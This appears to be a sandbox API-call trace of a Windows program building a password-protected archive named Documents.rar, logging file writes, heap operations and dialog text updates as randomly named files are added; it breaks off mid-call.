CryptUnprotectMemory (in: pDataIn=0x1cd090, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd090) returned 1 [0069.178] CryptUnprotectMemory (in: pDataIn=0x1cd190, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd190) returned 1 [0069.178] CryptUnprotectMemory (in: pDataIn=0x1cd310, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd310) returned 1 [0069.178] SetFilePointer (in: hFile=0x198, lDistanceToMove=4655062, lpDistanceToMoveHigh=0x1cd7f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd7f0*=0) returned 0x4707d6 [0069.178] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9ed0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9ed0*=0) returned 0x4707d6 [0069.178] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65ce0 [0069.178] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d10 [0069.178] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d40 [0069.178] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d70 [0069.178] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d40 | out: hHeap=0x2e0000) returned 1 [0069.178] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d10 | out: hHeap=0x2e0000) returned 1 [0069.178] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65ce0, Size=0x48) returned 0x39db40 [0069.178] WriteFile (in: hFile=0x198, lpBuffer=0x39db43*, nNumberOfBytesToWrite=0x37, lpNumberOfBytesWritten=0x1c8510, lpOverlapped=0x0 | out: lpBuffer=0x39db43*, lpNumberOfBytesWritten=0x1c8510*=0x37, lpOverlapped=0x0) returned 1 [0069.179] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d70 | out: hHeap=0x2e0000) returned 1 [0069.179] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0069.179] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd7f0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd7f0*=0) returned 0x47080d [0069.179] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0069.179] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.179] FindFirstFileW (in: lpFileName="XRS5ksD\\jRXwpLVqeVbMwn-9J", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0069.179] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0069.179] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0a30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0069.179] GetTickCount () returned 0xa67928 [0069.179] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0069.179] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0069.179] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0069.179] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0069.179] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="BZEpulzPesbCLsb0") returned 16 [0069.179] SetWindowTextW (hWnd=0x10280, lpString="jRXwpLVqeVbMwn-9J") returned 1 [0069.179] GetTickCount () returned 0xa67928 [0069.179] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0069.179] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65ce0 [0069.179] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d10 [0069.179] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d40 [0069.179] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d70 [0069.179] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d40 | out: hHeap=0x2e0000) returned 1 [0069.179] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d10 | out: hHeap=0x2e0000) returned 1 [0069.179] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65ce0, Size=0x48) returned 0x39db40 [0069.179] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d70 | out: hHeap=0x2e0000) returned 1 [0069.179] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0069.179] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0069.179] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.179] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd830*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd830*=0) returned 0x47080d [0069.179] SetFilePointer (in: hFile=0x198, lDistanceToMove=56, lpDistanceToMoveHigh=0x1cd800*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd800*=0) returned 0x470845 [0069.179] CryptUnprotectMemory (in: pDataIn=0x1cd6b0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd6b0) returned 1 [0069.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd630, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0069.180] CryptUnprotectMemory (in: pDataIn=0x1cd090, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd090) returned 1 [0069.180] CryptUnprotectMemory (in: pDataIn=0x1cd190, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd190) returned 1 [0069.180] CryptUnprotectMemory (in: pDataIn=0x1cd310, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd310) returned 1 [0069.180] SetFilePointer (in: hFile=0x198, lDistanceToMove=4655117, lpDistanceToMoveHigh=0x1cd7f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd7f0*=0) returned 0x47080d [0069.180] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9ed0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9ed0*=0) returned 0x47080d [0069.180] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65ce0 [0069.180] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d10 [0069.180] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d40 [0069.180] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d70 [0069.180] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d40 | out: hHeap=0x2e0000) returned 1 [0069.180] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d10 | out: hHeap=0x2e0000) returned 1 [0069.180] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65ce0, Size=0x48) returned 0x39db40 [0069.180] WriteFile (in: hFile=0x198, lpBuffer=0x39db43*, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0x1c8510, lpOverlapped=0x0 | out: lpBuffer=0x39db43*, lpNumberOfBytesWritten=0x1c8510*=0x38, lpOverlapped=0x0) returned 1 [0069.180] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d70 | out: hHeap=0x2e0000) returned 1 [0069.180] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0069.180] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd7f0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd7f0*=0) returned 0x470845 [0069.180] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0069.180] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.180] FindFirstFileW (in: lpFileName="XRS5ksD\\tiCKnWYQXORSFs05KwkK", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0069.180] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0069.180] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0e30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0069.180] GetTickCount () returned 0xa67928 [0069.180] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0069.180] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0069.180] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0069.180] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0069.180] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="jRXwpLVqeVbMwn-9J") returned 17 [0069.180] SetWindowTextW (hWnd=0x10280, lpString="tiCKnWYQXORSFs05KwkK") returned 1 [0069.181] GetTickCount () returned 0xa67928 [0069.181] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0069.181] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65ce0 [0069.181] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d10 [0069.181] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d40 [0069.181] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d70 [0069.181] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d40 | out: hHeap=0x2e0000) returned 1 [0069.181] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d10 | out: hHeap=0x2e0000) returned 1 [0069.181] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65ce0, Size=0x48) returned 0x39db40 [0069.181] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d70 | out: hHeap=0x2e0000) returned 1 [0069.181] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0069.181] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0069.181] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.181] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd830*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd830*=0) returned 0x470845 [0069.181] SetFilePointer (in: hFile=0x198, lDistanceToMove=59, lpDistanceToMoveHigh=0x1cd800*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd800*=0) returned 0x470880 [0069.181] CryptUnprotectMemory (in: pDataIn=0x1cd6b0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd6b0) returned 1 [0069.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd630, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0069.181] CryptUnprotectMemory (in: pDataIn=0x1cd090, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd090) returned 1 [0069.181] CryptUnprotectMemory (in: pDataIn=0x1cd190, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd190) returned 1 [0069.181] CryptUnprotectMemory (in: pDataIn=0x1cd310, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd310) returned 1 [0069.181] SetFilePointer (in: hFile=0x198, lDistanceToMove=4655173, lpDistanceToMoveHigh=0x1cd7f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd7f0*=0) returned 0x470845 [0069.181] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9ed0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9ed0*=0) returned 0x470845 [0069.181] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65ce0 [0069.181] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d10 [0069.181] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d40 [0069.181] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d70 [0069.181] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d40 | out: hHeap=0x2e0000) returned 1 [0069.181] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d10 | out: hHeap=0x2e0000) returned 1 [0069.181] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65ce0, Size=0x48) returned 0x39db40 [0069.181] WriteFile (in: hFile=0x198, lpBuffer=0x39db43*, nNumberOfBytesToWrite=0x3b, lpNumberOfBytesWritten=0x1c8510, lpOverlapped=0x0 | out: lpBuffer=0x39db43*, lpNumberOfBytesWritten=0x1c8510*=0x3b, lpOverlapped=0x0) returned 1 [0069.181] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d70 | out: hHeap=0x2e0000) returned 1 [0069.181] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0069.181] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd7f0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd7f0*=0) returned 0x470880 [0069.182] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0069.182] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.182] FindFirstFileW (in: lpFileName="buu1yiRA_xVu8tVc", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0069.182] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0069.182] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2df230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0069.182] GetTickCount () returned 0xa67928 [0069.182] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0069.182] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0069.182] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0069.182] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0069.182] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="tiCKnWYQXORSFs05KwkK") returned 20 [0069.182] SetWindowTextW (hWnd=0x10280, lpString="buu1yiRA_xVu8tVc") returned 1 [0069.182] GetTickCount () returned 0xa67928 [0069.182] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0069.182] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65ce0 [0069.182] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d10 [0069.182] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d40 [0069.182] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d70 [0069.182] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d40 | out: hHeap=0x2e0000) returned 1 [0069.182] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d10 | out: hHeap=0x2e0000) returned 1 [0069.182] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65ce0, Size=0x48) returned 0x39db40 [0069.182] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d70 | out: hHeap=0x2e0000) returned 1 [0069.182] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0069.182] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0069.182] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.182] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd830*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd830*=0) returned 0x470880 [0069.182] SetFilePointer (in: hFile=0x198, lDistanceToMove=47, lpDistanceToMoveHigh=0x1cd800*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd800*=0) returned 0x4708af [0069.182] CryptUnprotectMemory (in: pDataIn=0x1cd6b0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd6b0) returned 1 [0069.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd630, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0069.182] CryptUnprotectMemory (in: pDataIn=0x1cd090, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd090) returned 1 [0069.183] CryptUnprotectMemory (in: pDataIn=0x1cd190, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd190) returned 1 [0069.183] CryptUnprotectMemory (in: pDataIn=0x1cd310, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd310) returned 1 [0069.183] SetFilePointer (in: hFile=0x198, lDistanceToMove=4655232, lpDistanceToMoveHigh=0x1cd7f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd7f0*=0) returned 0x470880 [0069.183] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9ed0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9ed0*=0) returned 0x470880 [0069.183] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65ce0 [0069.183] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d10 [0069.183] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d40 [0069.183] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d70 [0069.183] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d40 | out: hHeap=0x2e0000) returned 1 [0069.183] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d10 | out: hHeap=0x2e0000) returned 1 [0069.183] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65ce0, Size=0x48) returned 0x39db40 [0069.183] WriteFile (in: hFile=0x198, lpBuffer=0x39db43*, nNumberOfBytesToWrite=0x2f, lpNumberOfBytesWritten=0x1c8510, lpOverlapped=0x0 | out: lpBuffer=0x39db43*, lpNumberOfBytesWritten=0x1c8510*=0x2f, lpOverlapped=0x0) returned 1 [0069.183] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d70 | out: hHeap=0x2e0000) returned 1 [0069.183] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0069.183] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd7f0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd7f0*=0) returned 0x4708af [0069.183] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0069.183] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.183] FindFirstFileW (in: lpFileName="GIwIhnYq", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0069.183] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0069.183] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2df630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0069.183] GetTickCount () returned 0xa67928 [0069.183] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0069.183] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0069.183] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0069.183] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0069.183] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="buu1yiRA_xVu8tVc") returned 16 [0069.183] SetWindowTextW (hWnd=0x10280, lpString="GIwIhnYq") returned 1 [0069.183] GetTickCount () returned 0xa67928 [0069.184] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0069.184] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65ce0 [0069.184] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d10 [0069.184] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d40 [0069.184] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d70 [0069.184] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d40 | out: hHeap=0x2e0000) returned 1 [0069.184] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d10 | out: hHeap=0x2e0000) returned 1 [0069.184] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65ce0, Size=0x48) returned 0x39db40 [0069.184] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d70 | out: hHeap=0x2e0000) returned 1 [0069.184] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0069.184] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0069.184] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.184] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd830*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd830*=0) returned 0x4708af [0069.184] SetFilePointer (in: hFile=0x198, lDistanceToMove=39, lpDistanceToMoveHigh=0x1cd800*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd800*=0) returned 0x4708d6 [0069.184] CryptUnprotectMemory (in: pDataIn=0x1cd6b0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd6b0) returned 1 [0069.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd630, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0069.184] CryptUnprotectMemory (in: pDataIn=0x1cd090, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd090) returned 1 [0069.184] CryptUnprotectMemory (in: pDataIn=0x1cd190, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd190) returned 1 [0069.184] CryptUnprotectMemory (in: pDataIn=0x1cd310, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd310) returned 1 [0069.184] SetFilePointer (in: hFile=0x198, lDistanceToMove=4655279, lpDistanceToMoveHigh=0x1cd7f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd7f0*=0) returned 0x4708af [0069.184] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9ed0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9ed0*=0) returned 0x4708af [0069.184] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65ce0 [0069.184] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d10 [0069.184] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d40 [0069.184] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d70 [0069.184] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d40 | out: hHeap=0x2e0000) returned 1 [0069.184] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d10 | out: hHeap=0x2e0000) returned 1 [0069.184] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65ce0, Size=0x48) returned 0x39db40 [0069.184] WriteFile (in: hFile=0x198, lpBuffer=0x39db43*, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0x1c8510, lpOverlapped=0x0 | out: lpBuffer=0x39db43*, lpNumberOfBytesWritten=0x1c8510*=0x27, lpOverlapped=0x0) returned 1 [0069.184] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d70 | out: hHeap=0x2e0000) returned 1 [0069.184] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0069.184] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd7f0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd7f0*=0) returned 0x4708d6 [0069.184] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0069.184] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.184] FindFirstFileW (in: lpFileName="M53FxPpcT", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0069.185] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0069.185] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2dfa30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0069.185] GetTickCount () returned 0xa67928 [0069.185] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0069.185] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0069.185] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0069.185] GetDlgItem 